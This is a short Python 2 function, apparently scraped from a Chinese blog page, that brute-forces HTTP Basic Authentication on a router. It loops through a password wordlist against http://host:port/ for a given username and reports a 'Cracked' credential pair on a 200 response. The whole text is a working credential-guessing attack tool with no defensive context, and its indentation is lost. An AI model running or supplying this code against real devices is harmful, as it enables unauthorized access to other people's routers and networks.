def bruteforce(host, port, uname, wordlist):
try:
lista = open(wordlist, "r")
except IOError:
stdout.write(colored(" [x] Error opening word list\n", "red", attrs=['bold']))
exit()
url = "http://"+host+":"+port+"/"
init = time()
for l in lista:
pwd = l.strip()
try:
r=get(url, auth=(uname, pwd), timeout=3)
except:
stdout.write(colored("\n [-] There was an error connecting to the router %s\n"%(host), "red", attrs=['bold']))
exit()
if r.status_code == 200:
stdout.write(colored("\n\n [+] Cracked => %s:%s\n [+] Duration => %s seconds\n\n"%(uname, pwd, time() - init), "green", attrs=['bold']))
lista.close()
exit()
else:
stdout.write(colored("\r [-] Current login %s:%s"%(uname, pwd), "yellow", attrs=['bold']))
stdout.flush()
print ""
lista.close()
评论列表
文章目录